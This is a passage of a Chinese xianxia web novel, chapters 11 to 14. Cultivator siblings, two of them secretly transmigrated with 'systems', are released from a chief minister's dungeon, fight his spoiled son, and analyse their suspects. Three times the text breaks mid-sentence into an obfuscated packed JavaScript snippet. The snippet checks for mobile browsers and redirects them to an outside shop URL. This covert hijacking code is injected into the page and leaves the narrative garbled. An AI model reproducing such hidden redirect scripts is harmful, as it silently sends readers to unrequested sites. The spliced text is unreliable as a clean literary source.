那下人也不怕老虎了,趴下身,长长地伸直了手臂。荀临将玉佩抛进他手里,道:“你只管把这玉交到上官夫人手里,别的什么都不用说。” 那下人将玉塞进怀里,捧着金子,小心翼翼地咬了一口,确认是真金,喜不自胜,连忙应了,很快便关门离去。 真是狼狈。 荀临拍拍衣摆,在一处石墩上坐了下来,静等回音。 若不是不好在这凡人地界使用灵力,他们四人又怎会这样处处受掣肘? 只盼那玉能真的送到上官夫人手里,那样他们在这太傅府就有了便宜行事的倚仗了。 荀临心思转完一圈,忽而察觉身遭格外安静。 他扭头看去,对上了小师妹幽怨的目光。 “师兄,我的馒头、油饼、杏酪羊呢?”她幽幽问。 荀临:“…………” 11. 第十一章 第十一章 荀临那一袋金子没打水漂。 约莫近正午时刻,荀临的灵鉴天眼开始隐隐发热,说明玉佩到了他要给的人手里了。 他盘腿坐下,手上掐了几个决,依附在玉佩上的神识又借灵鉴天眼沟通两处,一道柔和的白光从他眉心骤显的天眼里射出,在半空中化作一面微微荡漾的水波光幕。 万俟崖知道师兄有“灵鉴天眼”,却没亲眼见过,一直以为是一个外置的开挂法宝,没想到真的是额头开天眼,血脉一下觉醒了,他瞪大眼,脱口而出:“二郎神?!” 岑无忧看白痴一样看了他一眼:“清源妙道真君是蚕丛之后,天眼能观十方,鉴妖邪,那是先天神通。灵鉴天眼是根据清源妙道真君的神通炼制的后天甲级法宝,依托于精血和灵气蕴养。一天一地,天壤之别。” 这都算是常识,她说得上来也不算出奇。 没想到随口一句话暴露了自己的无知,万俟崖摸了摸鼻子。 气氛有点微妙。 加欣合隐隐发觉好像自从下山后,她这师弟和小师妹好像就有点儿别扭。 难不成是那天闹了点小矛盾还没有说开? 她心里琢磨着,先打圆场:“好了好了,先看看你们师兄看到什么了吧。” 透过天眼射出的光幕,他们隐隐可以看见一个模糊的女性身影,但那投影太模糊。 若是荀临的修为能到元婴期,那九州之内无论何地,他都能随时通过灵鉴天眼看得一清二楚,更能借灵鉴天眼让神识能不受修为所限,广则覆盖八方,细则附载于蝼蚁触足,甚至能以元婴期入化神境。 岑无忧心下叹息。 能被灵鉴天眼这样的法宝选中,说明他还是有一定天资的。可惜荀临三十有余才不过筑基,很显然是受限于寻山派这样的小宗门资源太少,被埋没了。 岑无忧越想,看荀临的眼神越惋惜。 好在万俟崖和加欣合都专注在光幕上,没人看到她那宛如长辈看孩子的眼神。 他们隐约能看见光幕上的女子神情惊讶,嘴唇一张一合似是在说什么,但只有荀临能依靠法宝和那上官夫人沟通。 少顷,荀临翻过手掌,指尖掐决,手指从天眼前滑过,那道柔光缓缓消失,他眉心处的天眼也闭合了起来,不见一丝痕迹。 筑基修为才筑起灵台,强行运用神识消耗极大,即便有灵鉴天眼辅助,荀临脸色依旧白了几分。 没有先说是什么情况,他再次掐诀引灵气,闭目缓缓修养调整了几息。 看着师兄苍白的脸色,万俟崖这回识趣地没开口了。 他清楚知道说得越多暴露越多。 他也才穿来两年,全靠系统填鸭式地灌输了一堆东西给他,也不管他消不消化得了。秉持少说少错的道理,万俟崖这几年很好地维持着自己不爱说话的高冷形象,可人和人相处久了,总会跑出来一点本体。 他也只是个二十出头的年轻人,被系统“拐卖”到异世界,适应得很艰难。 就像岑无忧无法理解他为什么会因为“二郎神”而惊讶。 在这个世界,二郎神或许是真正存在的神明,可在他所在的蓝星,“二郎神”只是一个不存在的虚拟神话人物。 谁能亲眼看见纸片人变成真人而不惊讶呢?哪怕只是一个误会…… 二十几年世界观的天翻地覆并非朝夕能够接受的。 【宿主……】 又听到了001的声音。 岑无忧在心里反问:【干什么?】 001声音干巴巴:【那个……也没什么事,就是想和你说,009的宿主不是有意渎神,在他那个世界,“二郎神”是个话本和戏里的角色,他就是惊讶这个世界真的有二郎神的天眼。】 岑无忧再次反问:【他的世界是什么样的,跟我有什么关系?】 001迅速道:【我不是帮他说话,就是察觉你好像有点不太高兴,我能感觉到你的情绪波动……】 岑无忧:【闭嘴,滚。】 001:【好嘞!】 它麻溜滚了。 它的宿主很少有真正的情绪波动,这是第一次,因为“二郎神”三个字,它清楚检测到宿主情绪低落了。 这两年她看似在寻山派如鱼得水,但001敢以数据说真话,它的宿主从来没有对寻山派有什么感情,甚至对这三个师兄师姐,好感也寥寥,几近于零,相当于这会儿跟他们相亲相爱,下一秒就能立马脱身变成陌生人的程度。 虽然不明白“二郎神”三个字为什么会牵动她的情绪,但它能理解一点点她的抽离感。 她活了太久了,五百多年。 001系统穿梭在漫漫时空中,伴随过一个又一个宿主,早已经忘却了时间。 当生命太过漫长而庞大,很难对渺小再生出动容。 就像宇宙与蚂蚁。 它是设定好程序的数据,所以它能无休止永远热情地工作。 但也正是因为接触过太多人,因此它慢慢能理解了很多属于人的“感受”。 一炷香的时间,地牢外有了新的响动。 厚重的石门缓缓上移,两侍卫最先踏入地牢内。 看见趴伏在地上的猛虎,侍卫惊惶失措大喊:“老虎出来了!保护夫人!” 加欣合对这帮咋咋呼呼的人很不耐烦,“别咋咋呼呼的,没看这老虎都站都站不起了?” 眼看进来的人类越来越多,“大王”自觉地盘被入侵,越发焦躁不安起来,不停想抓挠地面站起来低吼示威,却浑身无力,发出的声音也像打嗝一样只有气音。 卑鄙无耻的人类,不仅用火燎它屁股,还痛击它肚子,害它连胆汁都吐出来了!卑鄙的人类!卑鄙的人类! “大王”还想持续低吼表示一下自己的愤怒,刚要呲牙,就对上了关在笼子里的人类冰凉凉的眼神。几个时辰前的惨痛记忆历历在目,它呜咽一声,趴倒在地,掩耳盗铃地用爪子盖住了自己的脑袋。 “夫人,待我等将它降服您再过来!”侍卫仍旧紧张地握着刀。 上官氏面容消瘦苍白,掩帕咳嗽了几声:“也是一条性命,莫要伤它,改日便将它放归山林吧。” 她声音发哑,有些疲累,却听不出害怕。 侍卫犹豫着应“是”,见这老虎虽体型硕大,但的确病殃殃的一动不动,拿起绳索,大着胆子走过去,心一横,缠住了它的四肢。 出动了近六个壮汉才连拖带拽地将这猛虎扛回洞穴内关好。 上官氏赏了这六人各一锭银子,叫下去领赏,在婢女搀扶下走进这脏污的地牢。 在侍卫把大虎搬回洞穴时,跟在上官氏身后的管家也来打开了牢门。 地牢内关着四个人,两个女子,两个男子,都衣着不凡,纵使是被关在这地牢内也不见狼狈,倒像是来游玩的四个富家子弟。 牢房内四人,加欣合、岑无忧和万俟崖都对这位上官氏不熟悉,唯一能对上号的荀临此刻负手站着,没有主动攀认打招呼,一贯带笑的脸上微微蹙着眉,挺拔的身形倒真有几分仙风道骨了起来。 来之前,上官氏还疑心是什么小贼,又或是居心不良的人打听到她过去这一段往事,拿来做筏。可真切见到了人,她便知道错不了了。 近二十年过去了,他不再是初遇时的小郎君模样,身量高了、容貌越发俊朗,却不见任何衰老,成了真真正正的仙君。 她的呼吸变得急促,胸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406139|200520||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口不断起伏。 婢女紧张道:“夫人,御医说您切不可大喜大悲,千万放平了心。” 挥开婢女的搀扶,上官氏脚步有些飘浮,走进门来,还未说一句话,她敛容理袖,恭恭敬敬地拜了下去:“恩公。” 见她竟要下跪,两侧的婢女吓了一大跳,急忙脱口而出:“夫人!不可!” “何必如此。”荀临轻叹,虚托了她一把,“起来吧。” 荀临不是庙里无悲无喜的菩萨,行善事反而被恶果反噬,一路上他虽没说,心里却也想着等到了京城非要问问上官氏是怎么回事。可见了面倒又说不出口了。 无他,上官氏已经时日无多了,光是看脸色都看得出。 扶起她时,荀临手指在她左腕上搭了一下。五脏六腑竟然都呈衰败相。可算来,上官氏也不过三十出头,无论如何也不该在无病无灾的情况下就油尽灯枯了。 “你这身体……” “是旧疾了,不妨事,”上官氏淡淡笑笑,收回了手,又带着歉意道,“犬子顽劣,被纵坏了性子,冒犯了各位贵客……” “‘顽劣’?”听了她的说辞,加欣合冷冷笑出了声,“我看是恶毒至极!仗势欺人,饲虎行凶,为祸一方,小小年纪视人命如草芥!来时我还费解什么样的父母竟然养出这样的纨绔,现在了然了。贵府公子金贵,杀了人也不过是轻飘飘一句‘顽劣’,这样的家教,真是让人不敢指教!” 上官氏脸色瞬时煞白,身形摇摇欲坠,嗫嚅道:“这位女公子,敢问你说的这些事,可有实证?” 荀临一见她这样,猜到她八成对自己儿子在外的“威名”一无所知。他转头看向加欣合,微微摇了摇头。 加欣合冷哼一声,暂且休住了话口。 “荀公子,我儿在外可当真……”上官氏不可置信,抓住了荀临的胳膊。 荀临安抚道:“许多事还待查证,尚不可妄下定论。敢问夫人最近家中可有出过什么变故?” 上官氏微微凝眉,神色茫然又犹疑。 没等上官氏想个明白,旁边传来一道幽怨的声音:“师兄,我快饿死了,问话能不能等会儿的。” 上官夫人回过神,连忙道:“是我疏忽了,各位贵客请随我移步正堂,边吃边聊吧。” “不急,烦请夫人先安排我们更衣吧。”荀临说。 上官氏忙叫管家给他们安排了客房做休整。 洗漱换过衣裳,正堂的饭菜也上桌了。 贺家的厨房和外面的大酒楼比也不遑多让。岑无忧一早上都滴水未进,早就耐不住了,等一盘盘珍馐上桌,也不管主人家客套不客套,她径直拿起筷子吃了起来。 一旁的管家眼角抽了抽,心道这群后生好生无礼。 “荀公子,不知这几位仙君怎么称呼?”上官氏问。 荀临介绍道:“这三位都是我的师弟师妹。这是师妹加欣合,这是小师妹岑无忧,那是师弟万俟崖。” 上官氏端起茶杯:“见过各位仙君了。” 岑无忧一早上的不快一扫而空,也举起茶杯和她隔空碰了一下,笑道:“好说好说,这些天有什么事尽管开口。” 这话说得好像她才是主人家似的。管家嘴角又抽了抽。 毕竟在人家府中,万俟崖也礼貌举了举杯。加欣合一向喜恶写在脸上,想到这家人的表里不一,她满肚子不快,只冷着脸一个劲给师妹夹菜。 上官氏倒是好脾气,笑笑道:“我夫君尚未下值,不用等他。各位尽管放开吃,不用拘束。” 就在这时,门房快步进来,在上官氏身侧低声道:“夫人,老爷回来了。” 上官氏手一颤,杯盏中滚烫的热茶洒出来些许,而她指节发白。 12. 第十二章 第十二章 上官氏的失态仅仅一瞬,却恰好被荀临收入眼底。 一瞬的失态后,上官氏起身轻声说她去迎官人,见荀临也要起身,上官氏忙让他坐下吃就好,他是客,不用拘这些俗礼。 场面上的工夫还是要做一做的。 荀临没有远迎,但也走出厅外候一候。 厅里适才听着他们闲聊,还不时低笑的婢女这会儿都收敛了神色,轻手轻脚而又麻利地给主位上摆好新的碗筷茶具,又推开窗户让屋子里散散气。 没人说话,连脚步声都放得很轻。 气氛变得格外严肃。 不知想到什么,万俟崖握筷的手停滞着,眼睑低垂,盯着眼前的热茶,稚气未脱的少年脸颊上却有种超脱年龄的沉寂、冰凉。 这样的饭宴让他想起一些,过去不太美好的回忆。 直到屋外的交谈声打破他的沉思。 荀临打量着从垂花门外走来的当朝首辅。 两鬓霜白,蓄着一缕胡须,年纪虽大,但仍精神矍铄。 上官氏身体羸弱,步幅甚至还不如丈夫,慢了几丈的距离,由婢女搀扶着,又见了风,低低地咳嗽。 见了荀临,贺濉未言先笑,声音低沉和缓,抬手道:“这便是恩公吧?今日一见,当真是鹤骨松姿。当年之事,我代内子再谢过仙君。” 荀临也回以一礼,“阁老言重了,我与师弟和师妹下山游历,途经京城,听闻故人在此,故而一叙,实在是叨扰。” “仙君这话太见外,你是内子的恩人,于我府上便是有恩。诸位仙君久居仙山,今日到访,实在是蓬荜生辉……” 毕竟是当朝首辅,加欣合犹豫着要不要也出去见个礼,但一想到贺彦兒,加欣合又丁点都不想给这贺家好脸色。 她正纠结着。岑无忧已经放下了筷子,她打了个呵欠,困困地靠着加欣合哼哼:“师姐,起太早了,我困了。” “还不知你师兄是什么打算……”加欣合转头往外看,见他们还在寒暄,低声和岑无忧道,“他若是想在这府里留宿,那待会儿你便先去厢房歇息。” 小师妹眯着眼睛点头。 加欣合低声笑着,捏了捏她脸颊。 万俟崖的目光落在了岑无忧身上,不知想到什么,他眼底沉郁的神色淡了,嘴角扬了扬,随即若无其事地夹起一块鱼肉吃了。 几人进门,荀临把师弟师妹又同贺濉介绍一遍,又是一番热络寒暄,商业互夸。 岑无忧靠在师姐身上,没骨头似的倚着,全然不在乎有外人进来,加欣合便也顺势不搞那些俗礼,只在荀临介绍到她时点了点头。万俟崖便从善如流,同样只颔首。 贺濉心里怎么想的不知道,总之面上定然是“宰相肚里能撑船”,笑呵呵的一副不拘小节的模样。 多了一个人,饭宴也更热闹了。 荀临和贺濉两个人推杯换盏,一会儿客套地左一个“仙君”,右一句“阁老”,不多久便“贤兄贤弟”地称呼上了。 贺濉客套邀他们在府里多住些时日,荀临说着这不好吧,一再推拒。就这么你来我往推拉了两三个来回,荀临才“盛情难却”地欣然同意了。 他们聊的热络,岑无忧无聊得快把加欣合身上的绦子编成麻花辫了,一个接一个打哈欠。见她困乏,上官氏轻言细语地安排身边的婢女带她去东厢房休息。 岑无忧仗着“年纪小”,也不管别人怎么看,打着哈欠跟人走了。 刚出垂花门,岑无忧便让婢女不用跟着,她自己走走。 婢女有些为难,正踌躇。岑无忧摆摆手,已经迈着步走开了:“我知道厢房在哪,你忙你的去。” 这贺家占地数百亩,面积十分大,栽种了不少奇花异草,曲折回廊也众多,若是不识路的,恐怕非得在这宅子里迷路。 岑无忧根本没去找什么厢房,挑了一颗高大的杏树往上一跃,倚着结实的树枝就躺了下去。 拨开酒葫芦塞子,岑无忧一口抿下,咂摸咂摸嘴,聊胜于无。 吃饱喝饱,岑无忧当真发饭困了。 两眼一合,枕着胳膊就睡了。 春风扬扬,满树洁白的杏花飘飘洒洒落下。 一高一矮两道身影从远处走来。 “父亲真是年纪大了,越来越糊涂了,竟然会让我堂堂首辅之子去和几个庶民见面,传出去也不怕被人笑话。” 穿着富贵的少爷和身边的小厮发着牢骚。 那小厮满脸赔笑,小声附和。 贺彦兒正要再牢骚几句,到嘴边的话戛然而止。 杏花纷纷,一截裙摆和两根长长的发带悠悠地垂落,在风中招摇。 一时间,风吹,树动、花动、人影动。 “你是何人?” 岑无忧睁开了眼睛。阳光有些刺眼,她伸手挡了挡,眯起了眼。 “喂!说你呢!” 树下聒噪的声音还在叫嚣。 岑无忧微微侧头向树下看去,看见了那一身富贵的首辅少爷。 她连姿势都没变,依旧枕着一只胳膊,翘着腿,脚尖一晃一晃的,打了个哈欠:“真是春天到了,鬼郭公也成了精了。” 那少爷扭头问旁边的小厮:“她在说什么?” “她说……她说……”那小厮小声把岑无忧的话复述了一遍。 少爷皱眉:“‘鬼郭公’是什么?” “鬼郭公就是一种鸟……经常,经常在坟头叫……” “好啊你!你敢骂我!”少爷气煞也,叉起腰道,“你知道我是谁吗?” 岑无忧支起一侧脑袋看他,见他全然不记得他们见过,身边跟着的也不是那黑袍子,不知还看出什么,她一侧嘴角翘了起来,声音哑哑懒懒的:“你知道你自己是谁吗?” 日光下,树上的少女白得晃眼,一颦一笑都灵动得如同仙人下凡。 她竟然……竟然……一点都不怕他。 少爷晃了晃眼,定定神后他才叉着腰道:“我?你听好了!我乃当今大雍朝首辅之子,敬王爷之侄,大名鼎鼎的贺彦兒!” 他反问岑无忧:“你呢?你又是谁?” 岑无忧指指身下的树,戏谑道:“想知道我是谁啊?你爬上来了,我就告诉你。” 小厮忍不住提醒道:“少爷,老爷还在前厅等您,要不……我们还是先过去吧?” 贺彦兒撸起了袖子,一副气汹汹的样子:“我先教训教训这个不知天高地厚的小贼!竟然敢偷到我家来了!” 小厮劝道:“少爷,这位姑娘兴许是今日的客人……要不我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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贺彦兒红了脸,一只手扶着屁股,一瘸一拐地往前走了两步,“我……我还可以把我的私房钱都给你!” 岑无忧笑得上气不接下气,捂着肚子笑弯了腰。 见她笑得树也摇摇,贺彦兒一阵心惊胆战,张开手臂自顾自道:“这么高的树,你一个娇娇儿,怎么上去的?你跳下来,我接着你!” 不远处,刚从影壁转过来的身影顿在了原地。 他的视野里,树上的少女像杏花成的精,一颦一笑自然开怀,她做坏地逗弄着树下的傻小子,眼睛弯成了柳叶,花俏人更俏,无忧无虑得就像长在闺阁里不谙世事的千金小姐。 他脑中忽然浮出了一句: 绣面芙蓉一笑开,斜飞宝鸭衬香腮。 他也不知道怎么回事,等他反应过来时,手里捡起的鹅卵石已经飞了出去,精准击中了那在树下上蹿下跳的“熊瞎子”,听得一声愤怒的大叫。 对上少女诧异看来的目光,他面无表情地站在原处,心想。 没别的。 有点碍眼。 13. 第十三章 第十三章 “是谁?!谁偷袭本少爷?” 贺彦兒跳脚起来,四处环顾。 一回头,看见了走来的万俟崖。 贺彦兒后脑勺还嗡嗡作响,撸起袖子就大步流星地朝万俟崖奔去:“是不是你!你竟然敢偷袭本少爷!看我不……” 他伸手就要去抓万俟崖襟口。 万俟崖只是轻飘飘一侧身,让贺彦兒抓了个空。 “你竟然还敢躲!”贺彦兒越发恼怒,提起拳头就要向万俟崖砸去。 他身体肥硕,连拳头都沙包大,跟他一比,万俟崖就像根瘦条条的笔直甘蔗似的。 万俟崖没躲。 不仅没躲,他还以更快的速度出了一拳。 这一拳打得格外狠,贺彦兒当场便吐出了一颗牙。 两人毫无章法地扭打在了一块。 小厮惊得跳了起来,连蹦带跳地追上去,大喊:“少爷!少爷!” 岑无忧在树枝上站了起来,抱臂看着不远处扭打到一块的两个人。 万俟崖看似出拳狠厉,却招招避开了要害,甚至在按住贺彦兒脑袋时,他还抬头看了岑无忧一眼。 仅对视一秒,他立马转开了视线向四周扫了一圈。 这动作倒是极快,不留心都注意不到。 一个小光球从万俟崖身上飞了出来,也义愤填膺地在贺彦兒脸上撞了两下。 009:【叫你把我们关小黑屋!叫你放老虎吓唬人!叫你调戏小师妹!踩死你!踩死你!】 养尊处优的少爷一身是肉,哪是万俟崖的对手,被压着打到还不了手,很快就被揍成了猪头。 原本安静的花园,被闻声赶来的家丁们破坏了一片春意盎然。 打戏没了,岑无忧便也坐了回去。 一刻钟后,前厅的人闻讯匆匆赶了来。 家丁和侍卫已经将两人拉开了,贺彦兒气愤难平,冲着万俟崖破口大骂,小厮牢牢圈住自家少爷,生怕他再冲上去挨揍。 从武力值看,自家少爷完全是沙包啊! 万俟崖也受伤了,颧骨破了点皮,冷着一张脸站着,活像被人欠了几千两。 贺濉、上官氏还有荀临和加欣合赶到时,就见众人团团将两人围住隔开,还有人拔刀指着万俟崖的脖颈,一副拿嫌犯的样。 贺濉看向那个拿刀的侍卫,冷声道:“还不放下?” 侍卫畏怯,立马收鞘,行礼道:“老爷,夫人。” 上官氏见风就咳嗽,掩唇咳了好一会儿才盯着脸上开染坊的贺彦兒哑声问:“这是怎么了?” 那小厮率先告状:“我家少爷好好地站在这,这个人突然就打我家少爷……” 小厮声音越来越低,因为万俟崖眼神冰冷地盯着他,盯得他不由心虚了几分。 荀临看向万俟崖,皱眉问:“师弟,怎么回事?” 万俟崖冷脸不发一言。 009气死了:【这些人还敢恶人先告状!明明是他们调戏小师妹在前!宿主!!你快说啊!!】 贺彦兒看到娘,立马肿着一张猪头脸委屈地扑进上官氏怀里嚎啕大哭起来:“娘!他欺负我!” 上官氏见自己儿子被打得脸上青的青紫的紫,难免心疼,搅紧了手帕,可又碍于对面毕竟是恩人的小师弟,她也不好开口。 009恨不得扑上去再踹它两脚:【不要脸!这么大了打架还告状!谁还没有爹妈似的,不要脸!不要脸!】 师弟是个锯嘴的葫芦,荀临不指望他解释了,却也不能由着贺彦兒恶人先告状,思量片刻,他看向贺濉叹声道:“贺大人,我这师弟虽不善言辞,却也不是个无事生非的,我想此事还是要先弄清楚缘由。” 在外客面前丢脸,贺濉看了贺彦兒一眼,神色颇为不豫,他点了一个侍卫:“你来说。” 那侍卫抱拳应“是”,接着低眉垂眼道他赶到时只看到少爷被人压在身下打,便过来将两人分开,至于原因是什么,他也并不知晓。 贺彦兒见自己爹娘不信自己的,还向外人求证,当即又扯着嗓子嚎起来:“娘!!” “咳咳咳……”上官氏轻拍了儿子的后背,为难道,“你,你好好说,是怎么回事。” “就是他先打我!!娘!!你信我啊!!”贺彦兒大喊。 加欣合拉过万俟崖,见他脸上有伤,神色严肃了几分,低声道:“师弟,不管是什么原因,你只管说,师兄师姐给你撑腰。” 乱成一锅粥了,趁热喝了吧。 岑无忧坐在树上叹气:“怎么就没人问我呢?” 她一出声,其他人这才发现树上还有一个人,惊诧地“啊”了一声。 “师妹,你可看到了经过?和师兄如实说来。” 荀临嘴上这样不偏不倚地问着,却对着岑无忧眨眼,显然不管自家有没有理都打定主意要护犊子。 岑无忧自然是如实道来,她伸手朝贺彦兒一指,告状道,“他调戏我!”接着又朝万俟崖一指,“小师兄这才打了他。” 上官氏不可置信问:“彦兒,此事可是真的?” 贺彦兒低着头辩驳:“我没有调戏她,我……我……愿意娶她!” 万俟崖拳头又硬了,捏得邦邦响,冷眼看着贺彦兒。 贺濉一挥袖,脸色铁青:“孽障!” 荀临也敛了笑意,负手冷脸道:“贺大人,看来缘由很清楚了。贵府公子今日不分缘由将我们带来贵府,关押于地牢,现在又出言辱我小师妹。这世上断没有这般恩将仇报之理!我之宗门虽并非天玄宗那般仙门大宗,但我门弟子也容不得任何人轻视侮辱!” “是我教子无方了。”贺濉一脸惭愧,随即又冲贺彦兒怒道,“还不向几位仙君赔礼道歉!” 贺彦兒大声道:“他们是什么劳什子仙君,那地牢怎么可能困得住他们,我看他们就是骗……” “孽障!”贺濉勃然大怒,拿过旁边侍卫的刀鞘就要往贺彦兒身上招呼。 上官氏还是心疼儿子,忙将儿子护在身后道:“老爷,这其中兴许有什么误会,彦兒虽有些淘气,但也决不会有意要害人,老爷……” 见她护着,贺濉高高举起的剑鞘停在半空中,好半响,才压着怒火斥道:“都是你将这个孽障惯成这般无法无天!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406141|200520||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 上官氏黯然落泪,见丈夫收了手,上官氏忍住涕意,拉过儿子朝向荀临等人道:“彦兒,做错了事就是做错了事,给几位贵客道歉!” 见父母都不帮自己说话,贺彦兒还想闹,对上父亲冰凉的眼神,贺彦兒气焰瞬间小了,不情不愿哼哼着说了声:“对唔起。” “大点声!”贺濉一喝。 贺彦兒立马:“对不起!” “诸位仙君,我这儿子是家里的独苗,被惯坏了,性格直莽,冲撞了各位,我这做父亲也有过错。望诸位仙君看他年纪尚小,还能改正,暂且宽宥他一二,日后家中必然对他严加管教,也请诸位仙君做个见证。”贺濉惭愧又诚恳道。 荀临笑不到眼底:“贺公子冒犯的是我小师妹,还是先和我小师妹道歉吧。” 贺彦兒一看到岑无忧,又喊道:“我是真心喜欢娇娇儿……我……唔……” 上官氏朝岑无忧赔笑,拿着帕子牢牢捂住了自己儿子的嘴。 贺濉又当着众人面狠狠训斥了贺彦兒一通,罚他在祠堂禁足,不过在场的都看得出,这只是雷声大雨点小,做给客人看的场面事。 血雨腥风了一个上午,最后却像闹剧般哄哄闹闹收了场。 四人回了休息的厢房。 加欣合越想越气,恨不能把这贺彦兒套了麻袋再揍一顿,一路都喊着要带小师妹走。 荀临摇头道:“你先问问小师妹愿不愿意跟你走吧。” 加欣合便询问岑无忧还愿不愿意在这太傅府待。岑无忧像个事外人一样,啃着婢女送来的新鲜枇杷和樱桃含糊不清道:“住啊,为什么不住,有山珍海味吃,有高屋软榻住,有便宜不占王八蛋。” 加欣合还是气不过,“可是那贺彦兒……” 岑无忧笑:“凡人而已,师兄的事要紧。” 荀临坐在桌边,有一下没一下地敲着扇子,不知在想什么。 加欣合推他:“荀临,你说句话啊!” 荀临抬眼道,“小师妹不是都有主意了吗?”他倒了杯茶放加欣合面前,“你也喝点水,败败火。” “你……你们!真是!” 三人坐在茶桌边商议,唯独万俟崖站在窗户边一言不发。 想起来还有个受害者,加欣合扭头道:“小师弟,你是怎么个想法?” 万俟崖回头,避开了岑无忧的目光,神色又恢复了一贯的冷静,淡淡道:“师姐,我试过贺彦兒,他的确是个凡人,没有任何灵力,也没练过拳脚。刚才我和贺彦兒起冲突时,那黑衣人也一直没有出现。” 加欣合“后知后觉”,“师弟,你对贺彦兒出手原来是想试探出那个黑衣人的修为?!” 万俟崖靠着窗,眼睫微垂,没有回答,继续理性分析:“我们之前没有和那人交过手,不能断定他修为如何。我原以为那黑衣人是贺彦兒的走狗,但现在看来,也不一定。兴许,是贺家的门客?这样的话,我想贺濉应该是个突破口,他可能知道那黑衣人的身份。” “问过了,但真假还难说,”荀临手指叩击着桌面,“贺濉和上官氏都说,他们贺家,没有这么一个人。” 14. 第十四章 第十四章 万俟崖在饭宴上也待得憋闷,岑无忧走了没多久他便也出来了,不知后来荀临和贺氏夫妇还聊了什么。 他问荀临:“师兄觉得他们的话可信吗?” 荀临回忆起饭宴上贺濉和上官氏的反应。 他提起那黑衣人,贺濉皱眉思索,而上官氏第一反应是茫然看向贺濉。 “上官氏体弱多病,久居内宅,不清楚这些事倒还说得过去。这贺大人官居宰辅,喜怒不形于色,他的反应不好说。” “他原话是怎么说的?” 荀临微微笑道:“他说,听我们描述,他一时也不清楚那是何人,这黑袍人遮头遮尾,想来也是不想暴露身份,若我们还有别的线索,可以再告知他。” 万俟崖追问:“他没提贺彦兒?” 加欣合插话道:“他没说,上官氏倒是说了。不过后来你们也都知道了,还没来得及问就发生了园子里的事。” 万俟崖往窗外看了眼,见屋外没人,随即关上了窗。他走过来拉开椅子坐下,指尖溢出灵力,在桌上写下【SYG】。 加欣合转过脖颈看那三个奇形怪状的符号:“小师弟,这什么意思?” “分别是贺濉、贺彦兒和上官氏。我们来理理现在已知的线索。” “你说。”荀临道。 万俟崖在“Y”下划了一道竖线写了个“黑”,“黑衣人和贺彦兒一起出现过,这二者之间一定有关联。” “现在重点是理清楚黑衣人和整个贺家到底是什么关系?”万俟崖在下面一行一行地写,“一、从属关系。黑衣人听命于贺家,也就是我们说的走狗。” “二、合作关系。黑衣人和贺家是互利共赢,他们用邪术来实施合谋。” “三、还是从属关系。但是是贺家听命于黑衣人,也就是说,整个贺家是黑衣人的傀儡。” “四、不相干。这一点基本可以排除了。” 加欣合努力跟上思路,“怎么越来越复杂了?” 万俟崖顿了顿,继续道:“黑衣人不是一般凡人,如果他是听命于贺家,说明贺家有能威胁到他的东西,我觉得在绝对实力差距面前,这种可能性不大。因此,我觉得最有可能的是合作,或者黑衣人是幕后操手。” “幕后操手?这种可能也不大吧,我看那人对贺彦兒还挺恭敬的。”加欣合琢磨。 “也是条线索,但也不能排除那种恭敬是做给我们看的障眼法。贺濉毕竟位居首辅,并非小官。因此,目前可能性最大的是合作,其次是贺家听命于黑衣人。” “无论是二还是三,区区一个贺彦兒价值都不足以和对方平起平坐。因此,我认为和黑衣人关系最大的就是首辅大人贺濉。你们再回想一下,我们从地牢里被放出来再到贺濉回来,不足一个时辰,怎么就那么巧?” 荀临颔首:“你说得对,上官氏显然很意外她夫君这个时辰会赶回来。” “我们先大胆假设,再小心求证。”万俟崖在“黑”字和贺濉的“S”之间划了一道弧,“这二者间一定存在某种紧密关系。因此,我认为,我们最需要关注的不是贺彦兒,而是贺濉。” “那贺彦兒和上官氏呢?”加欣合问。 荀临道:“从因果线看,上官氏的可疑性的确不大,贺彦兒一定脱不了干系。” “师兄,我跟贺彦兒交过手,他是个纨绔不假,但要说他是个杀人如麻的恶种,我持怀疑态度。” 万俟崖在现代最常打交道的就是15-25岁之间的青年和少年,也称得上是“阅人无数”,好坏他心底都有一杆秤,打过一次照面他就有数了。 贺彦兒就像现代那些被家里惯坏的熊孩子,骄纵、横行霸道,但一个人的眼睛是骗不了人的,作恶多端的人,眼神不是贺彦兒那样的。 加欣合提问:“那因果线怎么解释?” “贺彦兒或许没有直接杀过人,但贺濉还有这个黑衣人,可以通过贺彦兒实施间接杀人。这样,因果就转移到了贺彦兒身上。”见几人沉思不语,万俟崖补充,“这是我根据目前线索推测出的最大可能。” 岑无忧嚼枇杷的动作慢了下来,她也不过旁听一耳朵,没怎么过脑,但听着听着,她觉得万俟崖倒还真有两分本事。 还以为他们至少得花个一两个月摸清现状,没曾想,他竟然能靠这么一点微末的线索抽丝剥茧接近真相。 她又咬一口枇杷,继续嚼起来,漫不经心想,这人在他原来的世界兴许是个捕贼官? 荀临心里已经大致有数了。 他看向一直没发言的岑无忧:“师妹,你觉得呢?” “我?我觉得万俟师兄说得挺有道理的。” 